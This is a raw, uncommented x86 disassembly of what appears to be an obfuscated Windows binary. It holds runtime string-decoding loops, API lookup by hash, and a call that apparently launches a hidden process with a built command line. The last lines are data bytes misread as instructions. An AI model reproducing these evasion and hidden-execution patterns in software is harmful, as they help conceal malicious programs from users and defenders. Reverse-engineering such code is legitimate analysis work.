mov dword [esp + 0xb8], 0x1a6e7e63
mov dword [esp + 0xbc], 0x7c6a6461
mov dword [esp + 0xc0], 0x6467686f
mov dword [esp + 0xc4], 0x2f6d6e77
mov dword [esp + 0xc8], 0x6a1c105e
mov dword [esp + 0xcc], 0x575e5d5c
mov dword [esp + 0xd0], 0x62061c10
mov byte [esp + 0xd4], 0xa0
mov word [esp + 0xd5], 0
mov byte [esp + 0xd7], 0
mov edx, 0x1d13612f
nop
nop
movzx esi, byte [esp + edx - 0x1d136077]
mov edi, edx
and edi, esi
add edi, edi
sub esi, edi
add esi, edx
mov edi, esi
and edi, 0x14
xor esi, 0x14
lea ebx, [esi + edi*2]
inc bl
mov byte [esp + edx - 0x1d136077], bl
inc edx
cmp edx, 0x1d13614f
jne 0x4114e0
movzx edx, byte [esp + 0xb8]
test dl, dl
lea edi, [esp + 0x8b8]
je 0x41153b
lea edi, [esp + 0x8b8]
lea esi, [esp + 0xb9]
mov byte [edi], dl
inc edi
movzx edx, byte [esi]
inc esi
test dl, dl
jne 0x411530
mov byte [edi], 0
movzx edx, byte [ecx]
test dl, dl
je 0x41155b
inc ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], dl
inc edi
movzx edx, byte [ecx]
inc ecx
test dl, dl
jne 0x411550
mov byte [edi], 0
movzx ecx, byte [esp + 0x9c]
test cl, cl
je 0x41158b
lea edx, [esp + 0x9d]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x411580
mov byte [edi], 0
movzx ecx, byte [eax]
test cl, cl
je 0x4115ab
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x4115a0
mov byte [edi], 0
movzx eax, byte [esp + 0x20]
test al, al
je 0x4115cb
lea ecx, [esp + 0x21]
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4115c0
mov byte [edi], 0
movzx eax, byte [0x44f8a4]
test al, al
je 0x4115f1
xor ecx, ecx
nop
nop
nop
nop
nop
mov byte [edi + ecx], al
movzx eax, byte [ecx + 0x44f8a5]
inc ecx
test al, al
jne 0x4115e0
add edi, ecx
mov dword [esp], edi
mov byte [edi], 0
jmp dword [0x44a678]
push dword [esp]
call fcn.00404980
add esp, 4
call dword [sym.imp.ole32.dll_CoUninitialize]
xor eax, eax
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [esp + 0xa0]
mov dword [esp + 4], 0xc0c7c6c5
mov word [esp + 8], 0
mov ecx, 0x11
mov edx, 0x4e
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, edx
and esi, 0x4c
mov ebx, ecx
and ebx, 0x13
or ebx, esi
xor bl, byte [esp + ecx - 0xd]
xor bl, 0xec
add bl, 0x8b
mov byte [esp + ecx - 0xd], bl
inc ecx
dec edx
cmp ecx, 0x17
jne 0x411640
mov ecx, dword [0x450c18]
test ecx, ecx
je 0x4116a1
mov edx, dword [esp + 4]
xor esi, esi
mov edi, dword [0x450c1c]
cmp dword [edi + esi*8], 0xb62b8d10
je 0x411687
inc esi
cmp ecx, esi
jne 0x411677
jmp 0x4116a1
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je 0x4116a1
push eax
push 1
push dword [0x450c20]
push ecx
call fcn.00440770
add esp, 0x10
mov eax, dword [esp + 0x9c]
mov dword [esp + 4], 0xc0c7c6c5
mov word [esp + 8], 0
mov ecx, 0x11
mov edx, 0x4e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, edx
and esi, 0x4c
mov ebx, ecx
and ebx, 0x13
or ebx, esi
xor bl, byte [esp + ecx - 0xd]
xor bl, 0xec
add bl, 0x8b
mov byte [esp + ecx - 0xd], bl
inc ecx
dec edx
cmp ecx, 0x17
jne 0x4116d0
mov ecx, dword [0x450c18]
test ecx, ecx
je case.0x40ffdf.140
mov edx, dword [esp + 4]
xor esi, esi
mov edi, dword [0x450c1c]
cmp dword [edi + esi*8], 0xb62b8d10
je 0x411717
inc esi
cmp ecx, esi
jne 0x411707
jmp case.0x40ffdf.140
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je case.0x40ffdf.140
push eax
push 1
push dword [0x450c20]
push ecx
call fcn.00440770
add esp, 0x10
mov eax, dword [case.0x40ffdf.142]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
lea ecx, [esp + 0xb8]
push 1
call fcn.0040d1d0
mov eax, 0xffffffff
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [eax + 0x44fc0d], 0
lea eax, [eax + 1]
jne 0x411760
mov dword [esp + 0x20], 0x2ad8e4c4
mov dword [esp + 0x24], 0x2b2ee7df
mov dword [esp + 0x28], 0xb12c
mov ecx, 0x40664c1e
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx - 0x40664bfe]
xor edx, ecx
mov esi, edx
xor esi, 0x97
and edx, 0x68
add edx, edx
sub edx, esi
inc dl
mov byte [esp + ecx - 0x40664bfe], dl
inc ecx
cmp ecx, 0x40664c2a
jne 0x411790
lea esi, [esp + 0xb8]
mov ecx, esi
push eax
push 0x44fc0c
push ebx
call fcn.0040d3d0
mov ecx, esi
call fcn.0040dae0
mov ecx, esi
call fcn.0040d210
xor eax, eax
cmp dword [esp + 0x14], 0
setg al
jmp dword [eax*4 + 0x44a6c0]
xor eax, eax
cmp dword [esp + 0x14], 0
setg al
jmp dword [eax*4 + 0x44a6c0]
push 0
call fcn.00443460
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44a6c8]
lea ecx, [esp + 0xa38]
call fcn.0040d210
lea ecx, [esp + 0xaa0]
call fcn.0040d210
lea ecx, [esp + 0xb08]
call fcn.0040d210
lea ecx, [esp + 0xb70]
call fcn.0040d210
lea ecx, [esp + 0xbd8]
call fcn.0040d210
lea ecx, [esp + 0xc40]
call fcn.0040d210
mov al, 1
jmp 0x411610
mov dword [esp + 0x20], 0x91019f39
mov dword [esp + 0x24], 0x95cc9334
mov dword [esp + 0x28], 0x891e9733
mov dword [esp + 0x2c], 0x8dea8b2f
mov dword [esp + 0x30], 0x811b8fee
mov dword [esp + 0x34], 0x85218314
mov dword [esp + 0x38], 0xf9128716
mov dword [esp + 0x3c], 0xfdabfb98
mov dword [esp + 0x40], 0xf165ff63
mov dword [esp + 0x44], 0xf592f36e
mov dword [esp + 0x48], 0xe969f751
mov dword [esp + 0x4c], 0xedb4eb4c
mov dword [esp + 0x50], 0xe166ef4b
mov dword [esp + 0x54], 0xe582e347
mov dword [esp + 0x58], 0xd9b7e786
mov dword [esp + 0x5c], 0xddbadb7d
mov dword [esp + 0x60], 0xd145df48
mov dword [esp + 0x64], 0xd575d34f
mov dword [esp + 0x68], 0xc941d745
mov dword [esp + 0x6c], 0xcdaacb5c
mov dword [esp + 0x70], 0xc15acf9d
mov dword [esp + 0x74], 0xc597c3a0
mov dword [esp + 0x78], 0x3997c7a4
mov dword [esp + 0x7c], 0x3dab3ba6
mov dword [esp + 0x80], 0x31ac3f9e
mov dword [esp + 0x84], 0x35913397
mov dword [esp + 0x88], 0x295637a9
mov dword [esp + 0x8c], 0x2d4a2b4e
mov dword [esp + 0x90], 0x21892f88
mov dword [esp + 0x94], 0x254223bc
mov dword [esp + 0x98], 0x19262746
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0xa5
xor dl, byte [esp + ecx + 0x20]
add dl, 0xc7
mov byte [esp + ecx + 0x20], dl
inc ecx
cmp ecx, 0x7c
jne 0x411980
movzx ecx, word [esp + 0x20]
test cx, cx
je 0x4119c1
lea edi, [esp + 0xb8]
lea edx, [esp + 0x22]
nop
nop
nop
nop
nop
mov word [edi], cx
add edi, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4119b0
mov word [edi], 0
movzx ecx, word [eax]
test cx, cx
je 0x4119f1
add eax, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [edi], cx
add edi, 2
movzx ecx, word [eax]
add eax, 2
test cx, cx
jne 0x4119e0
mov dword [edi], 0x220022
mov dword [edi + 4], 0x22
mov dword [esp + 0x60], 0
mov dword [esp + 0x5c], 0
mov dword [esp + 0x58], 0
mov dword [esp + 0x54], 0
mov dword [esp + 0x50], 0
mov dword [esp + 0x48], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x40], 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x38], 0
mov dword [esp + 0x34], 0
mov dword [esp + 0x30], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0x44
mov dword [esp + 0x4c], 1
push 0x38c42730
push dword [0x450c0c]
call fcn.004435b0
add esp, 8
lea ecx, [esp + 0x9c]
lea edx, [esp + 0xb8]
push ecx
push ebx
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push edx
push 0
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44a6d0]
push ebx
call fcn.004185f0
add esp, 4
push ebx
call fcn.00404980
add esp, 4
xor eax, eax
cmp dword [esp + 0x10], 0
setg al
lea ebx, [esp + 0x20]
jmp dword [eax*4 + 0x44a6b8]
xor eax, eax
cmp dword [esp + 0x10], 0
setg al
lea edi, [esp + 0xb8]
jmp dword [eax*4 + 0x44a6b8]
movzx eax, al
jmp dword [eax*4 + 0x44a688]
mov eax, dword [esp + 0x18]
mov esi, dword [esp + 0xc]
lea ebx, [eax + eax*2]
mov edx, eax
movzx ecx, byte [esi + eax - 2]
not eax
shr ebx, 2
and edx, 0xfffffffe
and eax, 1
sub edx, eax
mov dword [esp], esi
movzx edx, byte [esi + edx]
lea esi, [ebx - 1]
mov edi, dword [case.0x410ffd.31]
jmp case.0x411380.7
dec eax
jmp edi
cmp edx, 0x3d
je 0x411b5f
mov eax, ebx
cmp edx, 0x2e
jne 0x411b61
mov eax, esi
cmp ecx, 0x3d
je 0x411b50
cmp ecx, 0x2e
je 0x411b50
jmp 0x411b51
push eax
call fcn.0040c8d0
add esp, 4
mov esi, eax
push eax
push dword [esp + 4]
call fcn.0043bd00
add esp, 8
push dword [esp + 0xc]
call fcn.0043da70
add esp, 4
push esi
call fcn.00403da0
add esp, 4
mov ebx, eax
lea edi, [esp + 0xb8]
jmp dword [0x44a6a0]
jmp dword [0x44a6a8]
push esi
call fcn.0040c8e0
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
push esi
call fcn.0040c8e0
add esp, 4
jmp dword [0x44a6b4]
call fcn.0043a860
call fcn.0043a860
jmp dword [0x44a664]
mov dword [esp + 0xb8], 0x61f767d9
mov dword [esp + 0xbc], 0x5dee63f6
mov dword [esp + 0xc0], 0x59c85fc3
mov dword [esp + 0xc4], 0x558d5bd4
mov dword [esp + 0xc8], 0x51dd57f8
mov dword [esp + 0xcc], 0x4dcd53c0
mov dword [esp + 0xd0], 0x49ae4f86
mov dword [esp + 0xd4], 0x45da4beb
mov dword [esp + 0xd8], 0x41d247d4
mov dword [esp + 0xdc], 0x3ddf43db
mov dword [esp + 0xe0], 0x39b23f9f
mov dword [esp + 0xe4], 0x35ab3ba3
mov dword [esp + 0xe8], 0x31e737a2
mov dword [esp + 0xec], 0x2de533b8
mov dword [esp + 0xf0], 0x29a72fa5
mov dword [esp + 0xf4], 0x25fd2ba1
mov dword [esp + 0xf8], 0x21b727ba
mov dword [esp + 0xfc], 0x1db523b2
mov dword [esp + 0x100], 0x19911fcb
mov dword [esp + 0x104], 0x158e1b8a
mov dword [esp + 0x108], 0x1180178b
mov dword [esp + 0x10c], 0xd83138d
mov dword [esp + 0x110], 0x9910f90
mov dword [esp + 0x114], 0x5fd0b94
mov dword [esp + 0x118], 0x10607fe
mov dword [esp + 0x11c], 0
mov eax, 0xc857cf99
mov ecx, 0x37a83066
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0x37a8311f]
mov esi, eax
and esi, edx
add esi, esi
sub esi, edx
add esi, ecx
and esi, eax
add esi, esi
mov edi, esi
xor edi, eax
and esi, ecx
add esi, esi
sub edi, esi
add edi, edx
mov edx, edi
and edx, 1
xor edi, 1
lea edx, [edi + edx*2]
add dl, 2
mov byte [esp + eax + 0x37a8311f], dl
inc eax
dec ecx
cmp eax, 0xc857d001
jne 0x411d10
mov dword [esp + 0x20], 0x933391c7
mov dword [esp + 0x24], 0x9f379d0c
mov word [esp + 0x28], 0x9998
mov dword [esp + 0x2a], 0
mov byte [esp + 0x2e], 0
mov esi, 0xe6a04ba4
mov edi, 0x195fb45b
nop
nop
movzx ebx, byte [esp + esi + 0x195fb47c]
mov ecx, esi
and ecx, 0xbf
xor ecx, ebx
or ecx, edi
mov eax, ecx
shr al, 1
and al, 1
mov edx, ecx
not dl
mov ah, dl
and ah, 0x3d
mul ah
add al, al
sub bl, al
test cl, 2
sete al
or dl, 2
mul dl
add al, al
sub bl, al
movzx eax, bl
add eax, esi
add al, 0xcc
mov byte [esp + esi + 0x195fb47c], al
inc esi
dec edi
cmp esi, 0xe6a04bb3
jne 0x411d80
lea eax, [esp + 0x8b8]
mov ecx, dword [esp]
sub ecx, eax
lea edx, [esp + 0x18]
lea esi, [esp + 0xc]
lea edi, [esp + 0x20]
push edx
push esi
push ecx
push eax
lea eax, [esp + 0xc8]
push eax
push edi
push 0x44f904
call int.0040fd50
add esp, 0x1c
mov dword [esp + 0xb8], 0x61f767d9
mov dword [esp + 0xbc], 0x5dee63f6
mov dword [esp + 0xc0], 0x59c85fc3
mov dword [esp + 0xc4], 0x558d5bd4
mov dword [esp + 0xc8], 0x51dd57f8
mov dword [esp + 0xcc], 0x4dcd53c0
mov dword [esp + 0xd0], 0x49ae4f86
mov dword [esp + 0xd4], 0x45da4beb
mov dword [esp + 0xd8], 0x41d247d4
mov dword [esp + 0xdc], 0x3ddf43db
mov dword [esp + 0xe0], 0x39b23f9f
mov dword [esp + 0xe4], 0x35ab3ba3
mov dword [esp + 0xe8], 0x31e737a2
mov dword [esp + 0xec], 0x2de533b8
mov dword [esp + 0xf0], 0x29a72fa5
mov dword [esp + 0xf4], 0x25fd2ba1
mov dword [esp + 0xf8], 0x21b727ba
mov dword [esp + 0xfc], 0x1db523b2
mov dword [esp + 0x100], 0x19911fcb
mov dword [esp + 0x104], 0x158e1b8a
mov dword [esp + 0x108], 0x1180178b
mov dword [esp + 0x10c], 0xd83138d
mov dword [esp + 0x110], 0x9910f90
mov dword [esp + 0x114], 0x5fd0b94
mov dword [esp + 0x118], 0x10607fe
mov dword [esp + 0x11c], 0
mov eax, 0xc857cf99
mov ecx, 0x37a83066
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0x37a8311f]
mov esi, eax
and esi, edx
add esi, esi
sub esi, edx
add esi, ecx
and esi, eax
add esi, esi
mov edi, esi
xor edi, eax
and esi, ecx
add esi, esi
sub edi, esi
add edi, edx
mov edx, edi
and edx, 1
xor edi, 1
lea edx, [edi + edx*2]
add dl, 2
mov byte [esp + eax + 0x37a8311f], dl
inc eax
dec ecx
cmp eax, 0xc857d001
jne 0x411f30
mov dword [esp + 0x20], 0x933391c7
mov dword [esp + 0x24], 0x9f379d0c
mov word [esp + 0x28], 0x9998
mov dword [esp + 0x2a], 0
mov byte [esp + 0x2e], 0
mov esi, 0xe6a04ba4
mov edi, 0x195fb45b
nop
nop
movzx ebx, byte [esp + esi + 0x195fb47c]
mov ecx, esi
and ecx, 0xbf
xor ecx, ebx
or ecx, edi
mov eax, ecx
shr al, 1
and al, 1
mov edx, ecx
not dl
mov ah, dl
and ah, 0x3d
mul ah
add al, al
sub bl, al
test cl, 2
sete al
or dl, 2
mul dl
add al, al
sub bl, al
movzx eax, bl
add eax, esi
add al, 0xcc
mov byte [esp + esi + 0x195fb47c], al
inc esi
dec edi
cmp esi, 0xe6a04bb3
jne 0x411fa0
lea eax, [esp + 0x8b8]
mov ecx, dword [esp]
sub ecx, eax
lea edx, [esp + 0x18]
lea esi, [esp + 0xc]
lea ebx, [esp + 0x20]
push edx
push esi
push ecx
push eax
lea eax, [esp + 0xc8]
push eax
push ebx
push 0x44f904
call int.0040fd50
add esp, 0x1c
jmp dword [0x44a680]
int3
inc dword [eax]
push ss
add byte [ecx], al
nop
add byte [ecx], al
cdq
add byte [ecx], al
jo 0x449d4b
inc ecx
add byte [ecx + eax + 0x41], dl
add byte [eax + 0x70004101], cl
add dword [ecx], eax
xchg esi, eax
add dword [ecx], eax
lahf
add dword [ecx], eax
rol dword [edx], 0x41
add byte [ecx + eax + 63701057], dh
inc ecx
add ch, bh
add al, byte [ecx]
int3
or byte [ecx], al
jecxz 0x449e36
inc ecx
add byte [0x22004109], cl
or dword [ecx], eax
inc eax
or dword [ecx], eax
or dword cs:[ecx], eax
inc ecx
add byte [eax + 9], al
inc ecx
add byte [esi], ch
or dword [ecx], eax
iretd